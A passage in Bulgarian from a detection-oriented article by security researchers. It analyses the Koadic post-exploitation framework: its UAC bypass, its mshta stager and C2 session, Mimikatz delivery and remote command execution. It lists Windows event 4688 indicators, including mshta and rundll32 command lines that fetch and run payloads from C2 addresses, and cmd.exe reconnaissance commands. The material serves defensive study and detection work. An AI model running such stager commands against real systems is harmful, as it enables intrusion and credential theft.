ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ Π·Π° Π½ΠΎΡ€ΠΌΠ°Π»Π½Π° Ρ€Π°Π±ΠΎΡ‚Π° Π½Π° страната Π½Π° ΠΆΠ΅Ρ€Ρ‚Π²Π°Ρ‚Π°, Koadic ΠΈΠΌΠ° Π²ΡŠΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ Π΄Π° Π³ΠΈ повиши, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΠΊΠΈ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ Π·Π° заобикалянС Π½Π° ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π° Π½Π° потрСбитСлскитС Π°ΠΊΠ°ΡƒΠ½Ρ‚ΠΈ (UAC bypass).

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктурата: ΠΈΠ·ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис. 10. КомандСн Ρ€Π΅Π΄ Π½Π° Koadic

Π–Π΅Ρ€Ρ‚Π²Π°Ρ‚Π° трябва сама Π΄Π° ΠΈΠ½ΠΈΡ†ΠΈΠΈΡ€Π° комуникация със ΡΡŠΡ€Π²ΡŠΡ€Π° Command & Control. Π—Π° Ρ†Π΅Π»Ρ‚Π° Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΄Π° сС ΡΠ²ΡŠΡ€ΠΆΠ΅ Ρ‡Ρ€Π΅Π· ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»Π½ΠΎ ΠΏΠΎΠ΄Π³ΠΎΡ‚Π²Π΅Π½ URI ΠΈ Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈ основното тяло Π½Π° Koadic с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° Π΅Π΄ΠΈΠ½ ΠΎΡ‚ стСйдТСритС. На рис. 11 Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π·Π° стСйдТСра mshta.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктурата: ΠΈΠ·ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис. 11. Π˜Π½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€Π°Π½Π΅ Π½Π° сСсия с CnC-ΡΡŠΡ€Π²ΡŠΡ€Π°

ΠžΡ‚ ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°Ρ‚Π° WS Π² ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€Π° става ясно, Ρ‡Π΅ ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ сС ΠΈΠ·Π²ΡŠΡ€ΡˆΠ²Π° Ρ‡Ρ€Π΅Π· WScript.Shell, Π° ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²ΠΈΡ‚Π΅ STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Ρ‚ ΠΊΠ»ΡŽΡ‡ΠΎΠ²Π° информация Π·Π° ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΈΡ‚Π΅ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰Π°Ρ‚Π° сСсия. Π’ΠΎΠ²Π° Π΅ ΠΏΡŠΡ€Π²Π°Ρ‚Π° Π΄Π²ΠΎΠΉΠΊΠ° Π·Π°ΠΏΠΈΡ‚Π²Π°Π½Π΅-ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€ Π² HTTP-соСдинСниСто с CnC-ΡΡŠΡ€Π²ΡŠΡ€Π°. ΠŸΠΎΡΠ»Π΅Π΄Π²Π°Ρ‰ΠΈΡ‚Π΅ запитвания са ΡΠ²ΡŠΡ€Π·Π°Π½ΠΈ Π΄ΠΈΡ€Π΅ΠΊΡ‚Π½ΠΎ с функционалността Π½Π° ΠΈΠ·Π²ΠΈΠΊΠ°Π½ΠΈΡ‚Π΅ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ (ΠΈΠΌΠΏΠ»Π°Π½Ρ‚ΠΈ). Всички ΠΌΠΎΠ΄ΡƒΠ»ΠΈ Koadic работят само с Π°ΠΊΡ‚ΠΈΠ²Π½Π° сСсия с CnC.

Mimikatz

Подобно Π½Π° Ρ‚ΠΎΠ²Π° ΠΊΠ°ΠΊ CME Ρ€Π°Π±ΠΎΡ‚ΠΈ с Bloodhound, Koadic Ρ€Π°Π±ΠΎΡ‚ΠΈ с Mimikatz ΠΊΠ°Ρ‚ΠΎ ΠΎΡ‚Π΄Π΅Π»Π½Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠ° ΠΈ ΠΈΠΌΠ° няколко Π½Π°Ρ‡ΠΈΠ½Π° Π·Π° Π½Π΅ΠΉΠ½ΠΎΡ‚ΠΎ стартиранС. По-Π΄ΠΎΠ»Ρƒ Π΅ прСдставСна Π΄Π²ΠΎΠΉΠΊΠ° Π·Π°ΠΏΠΈΡ‚Π²Π°Π½Π΅-ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€ Π·Π° Π·Π°Ρ€Π΅ΠΆΠ΄Π°Π½Π΅ Π½Π° ΠΈΠΌΠΏΠ»Π°Π½Ρ‚Π° Mimikatz.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктурата: ΠΈΠ·ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис. 12. ΠŸΡ€Π΅Π΄Π°Π²Π°Π½Π΅ Π½Π° Mimikatz Π² Koadic

МоТС Π΄Π° сС Π²ΠΈΠ΄ΠΈ ΠΊΠ°ΠΊ сС Π΅ ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈΠ» Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΡŠΡ‚ Π½Π° URI Π² Π·Π°ΠΏΠΈΡ‚Π²Π°Π½Π΅Ρ‚ΠΎ. Π’ Π½Π΅Π³ΠΎ сС появи стойност Π½Π° ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°Ρ‚Π° csrf, която отговаря Π·Π° избрания ΠΌΠΎΠ΄ΡƒΠ». НС ΠΎΠ±Ρ€ΡŠΡ‰Π°ΠΉΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° ΠΈΠΌΠ΅Ρ‚ΠΎ ѝ; всички Π·Π½Π°Π΅ΠΌ, Ρ‡Π΅ ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΎ ΠΏΠΎΠ΄ CSRF сС Ρ€Π°Π·Π±ΠΈΡ€Π° Π½Π΅Ρ‰ΠΎ Π΄Ρ€ΡƒΠ³ΠΎ. Π’ ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€ Π΄ΠΎΠΉΠ΄Π΅ ΡΡŠΡ‰ΠΎΡ‚ΠΎ основно тяло Π½Π° Koadic, Π² ΠΊΠΎΠ΅Ρ‚ΠΎ бСшС Π΄ΠΎΠ±Π°Π²Π΅Π½ ΠΊΠΎΠ΄, ΡΠ²ΡŠΡ€Π·Π°Π½ с Mimikatz. Π’ΠΎΠΉ Π΅ доста голям, Π·Π°Ρ‚ΠΎΠ²Π° Ρ‰Π΅ Ρ€Π°Π·Π³Π»Π΅Π΄Π°ΠΌΠ΅ ΠΊΠ»ΡŽΡ‡ΠΎΠ²ΠΈΡ‚Π΅ ΠΌΠΎΠΌΠ΅Π½Ρ‚ΠΈ. ΠŸΡ€Π΅Π΄ нас Π΅ ΠΊΠΎΠ΄ΠΈΡ€Π°Π½Π° Π² base64 Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Mimikatz, сСриализираният .NET клас, ΠΊΠΎΠΉΡ‚ΠΎ Ρ‰Π΅ я ΠΈΠ½ΠΆΠ΅ΠΊΡ‚ΠΈΡ€Π°, ΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ‚Π΅ Π·Π° стартиранС Π½Π° Mimikatz. Π Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚ΡŠΡ‚ ΠΎΡ‚ ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ сС ΠΏΡ€Π΅Π΄Π°Π²Π° ΠΏΠΎ ΠΌΡ€Π΅ΠΆΠ°Ρ‚Π° Π² ΠΎΡ‚ΠΊΡ€ΠΈΡ‚ Π²ΠΈΠ΄.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктурата: ΠΈΠ·ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис. 13. Π Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚ ΠΎΡ‚ ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° Mimikatz Π½Π° ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½ ΠΊΠΎΠΌΠΏΡŽΡ‚ΡŠΡ€

Exec_cmd

Π’ Koadic ΠΈΠΌΠ° ΠΈ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ, способни Π΄Π° ΠΈΠ·ΠΏΡŠΠ»Π½ΡΠ²Π°Ρ‚ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½ΠΎ. Π’ΡƒΠΊ Ρ‰Π΅ Π²ΠΈΠ΄ΠΈΠΌ ΡΡŠΡ‰ΠΈΡ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π·Π° Π³Π΅Π½Π΅Ρ€ΠΈΡ€Π°Π½Π΅ Π½Π° URI ΠΈ ΠΏΠΎΠ·Π½Π°Ρ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²ΠΈ sid ΠΈ csrf. Π’ случая Π½Π° ΠΌΠΎΠ΄ΡƒΠ»Π° exec_cmd Π² тялото сС добавя ΠΊΠΎΠ΄, ΠΊΠΎΠΉΡ‚ΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° изпълнява shell-ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ. По-Π΄ΠΎΠ»Ρƒ Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ Ρ‚Π°ΠΊΡŠΠ² ΠΊΠΎΠ΄, ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Ρ‰ сС Π² HTTP-ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° CnC-ΡΡŠΡ€Π²ΡŠΡ€Π°.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктурата: ΠΈΠ·ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис. 14. Код Π½Π° ΠΈΠΌΠΏΠ»Π°Π½Ρ‚Π° exec_cmd

ΠŸΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°Ρ‚Π° GAWTUUGCFI с познатия Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ WS Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠ° Π·Π° изпълнСниС Π½Π° ΠΊΠΎΠ΄Π°. Π‘ нСя ΠΈΠΌΠΏΠ»Π°Π½Ρ‚ΡŠΡ‚ ΠΈΠ·Π²ΠΈΠΊΠ²Π° shell, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π²Π°ΠΉΠΊΠΈ Π΄Π²Π΅ Π³Π»Π°Π΄ΠΊΠΈ ΠΏΡŠΡ‚ΠΈΡ‰Π° Π½Π° ΠΊΠΎΠ΄Π° β€” shell.exec с Π²Ρ€ΡŠΡ‰Π°Π½Π΅ Π½Π° изходния ΠΏΠΎΡ‚ΠΎΠΊ Π΄Π°Π½Π½ΠΈ ΠΈ shell.run Π±Π΅Π· Π²Ρ€ΡŠΡ‰Π°Π½Π΅.

Koadic Π½Π΅ Π΅ Ρ‚ΠΈΠΏΠΈΡ‡Π΅Π½ инструмСнт, Π½ΠΎ ΠΏΡ€ΠΈΡ‚Π΅ΠΆΠ°Π²Π° свои Π°Ρ€Ρ‚Π΅Ρ„Π°ΠΊΡ‚ΠΈ, ΠΏΠΎ ΠΊΠΎΠΈΡ‚ΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° бъдС Π½Π°ΠΌΠ΅Ρ€Π΅Π½ Π² Π»Π΅Π³ΠΈΡ‚ΠΈΠΌΠ΅Π½ Ρ‚Ρ€Π°Ρ„ΠΈΠΊ:

  • спСциално Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€Π°Π½Π΅ Π½Π° HTTP-запитвания,
  • ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ Π½Π° winHttpRequests API,
  • създаванС Π½Π° ΠΎΠ±Π΅ΠΊΡ‚ WScript.Shell Ρ‡Ρ€Π΅Π· ActiveXObject,
  • голямо изпълнимо тяло.

ΠŸΡŠΡ€Π²ΠΎΠ½Π°Ρ‡Π°Π»Π½Π°Ρ‚Π° Π²Ρ€ΡŠΠ·ΠΊΠ° ΠΈΠ½ΠΈΡ†ΠΈΠΈΡ€Π° стСйдТСра, ΠΏΠΎΡ€Π°Π΄ΠΈ ΠΊΠΎΠ΅Ρ‚ΠΎ сС появява Π²ΡŠΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚Ρ‚Π° Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π°ΠΌΠ΅ Π½Π΅Π³ΠΎΠ²Π°Ρ‚Π° активност Ρ‡Ρ€Π΅Π· ΡΡŠΠ±ΠΈΡ‚ΠΈΡ Π½Π° Windows. Π—Π° mshta Ρ‚ΠΎΠ²Π° Π΅ ΡΡŠΠ±ΠΈΡ‚ΠΈΠ΅ 4688, ΠΊΠΎΠ΅Ρ‚ΠΎ ΠΊΠ°Π·Π²Π° Π·Π° създаванС Π½Π° процСс с Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π·Π° стартиранС:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

По Π²Ρ€Π΅ΠΌΠ΅ Π½Π° ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° Koadic ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° сС видят ΠΈ Π΄Ρ€ΡƒΠ³ΠΈ ΡΡŠΠ±ΠΈΡ‚ΠΈΡ 4688 с Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ Π³ΠΎ Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€ΠΈΠ·ΠΈΡ€Π°Ρ‚:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Изводи

Π’Ρ€Π΅Π½Π΄ΡŠΡ‚ living off the land Π½Π°Π±ΠΈΡ€Π° популярност срСд Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈΡ‚Π΅. Π’Π΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π²Π³Ρ€Π°Π΄Π΅Π½ΠΈ Π² Windows инструмСнти ΠΈ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΈ Π·Π° своитС Π½ΡƒΠΆΠ΄ΠΈ. Π’ΠΈΠΆΠ΄Π°ΠΌΠ΅ ΠΊΠ°ΠΊ популярнитС инструмСнти Koadic, CrackMapExec ΠΈ Impacket, слСдващи Ρ‚ΠΎΠ·ΠΈ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏ, всС ΠΏΠΎ-чСсто сС срСщат Π² ΠΎΡ‚Ρ‡Π΅Ρ‚ΠΈ Π·Π° APT. Броят Π½Π° Ρ„ΠΎΡ€ΠΊΠΎΠ²Π΅Ρ‚Π΅ Π² GitHub Π·Π° Ρ‚Π΅Π·ΠΈ инструмСнти ΡΡŠΡ‰ΠΎ нараства, появяват сС Π½ΠΎΠ²ΠΈ (Π²Π΅Ρ‡Π΅ са ΠΎΠΊΠΎΠ»ΠΎ хиляда). Π’Ρ€Π΅Π½Π΄ΡŠΡ‚ Π½Π°Π±ΠΈΡ€Π° популярност Π·Π°Ρ€Π°Π΄ΠΈ своята простота: Π½Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈΡ‚Π΅ Π½Π΅ ΠΈΠΌ трябват Π΄ΠΎΠΏΡŠΠ»Π½ΠΈΡ‚Π΅Π»Π½ΠΈ инструмСнти, Ρ‚Π΅ Π²Π΅Ρ‡Π΅ са Π½Π°Π»ΠΈΡ‡Π½ΠΈ Π½Π° ΠΌΠ°ΡˆΠΈΠ½ΠΈΡ‚Π΅ Π½Π° ΠΆΠ΅Ρ€Ρ‚Π²ΠΈΡ‚Π΅ ΠΈ ΠΏΠΎΠΌΠ°Π³Π°Ρ‚ Π΄Π° сС заобиколят Π·Π°Ρ‰ΠΈΡ‚Π½ΠΈΡ‚Π΅ срСдства. НиС сС фокусирамС Π²ΡŠΡ€Ρ…Ρƒ ΠΈΠ·ΡƒΡ‡Π°Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΎΡ‚ΠΎ взаимодСйствиС: всСки ΠΎΡ‚ описанитС ΠΏΠΎ-Π³ΠΎΡ€Π΅ инструмСнти оставя свои слСди Π² мрСТовия Ρ‚Ρ€Π°Ρ„ΠΈΠΊ; ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΡ‚ΠΎ ΠΈΠΌ изслСдванС Π½ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈ Π΄Π° Π½Π°ΡƒΡ‡ΠΈΠΌ нашия ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ PT Network Attack Discovery Π΄Π° Π³ΠΈ ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π°, ΠΊΠΎΠ΅Ρ‚ΠΎ Π² ΠΊΡ€Π°ΠΉΠ½Π° смСтка ΠΏΠΎΠΌΠ°Π³Π° Π΄Π° сС разслСдва цялата Π²Π΅Ρ€ΠΈΠ³Π° ΠΎΡ‚ ΠΊΠΈΠ±Π΅Ρ€ΠΈΠ½Ρ†ΠΈΠ΄Π΅Π½Ρ‚ΠΈ с тяхното участиС.

Автори:

  • Антон Π’ΡŽΡ€ΠΈΠ½, Ρ€ΡŠΠΊΠΎΠ²ΠΎΠ΄ΠΈΡ‚Π΅Π» Π½Π° ΠΎΡ‚Π΄Π΅Π»Π° Π·Π° СкспСртни услуги, PT Expert Security Center, Positive Technologies
  • Π•Π³ΠΎΡ€ Подмоков, СкспСрт, PT Expert Security Center, Positive Technologies

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: habr.com

ΠšΡƒΠΏΠ΅Ρ‚Π΅ Π½Π°Π΄Π΅ΠΆΠ΄Π΅Π½ хостинг Π·Π° сайтовС с Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ DDoS, VPS VDS ΡΡŠΡ€Π²ΡŠΡ€ΠΈ πŸ”₯ ΠšΡƒΠΏΠ΅Ρ‚Π΅ Π½Π°Π΄Π΅ΠΆΠ΄Π΅Π½ хостинг Π·Π° сайтовС с Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ DDoS, VPS VDS ΡΡŠΡ€Π²ΡŠΡ€ΠΈ | ProHoster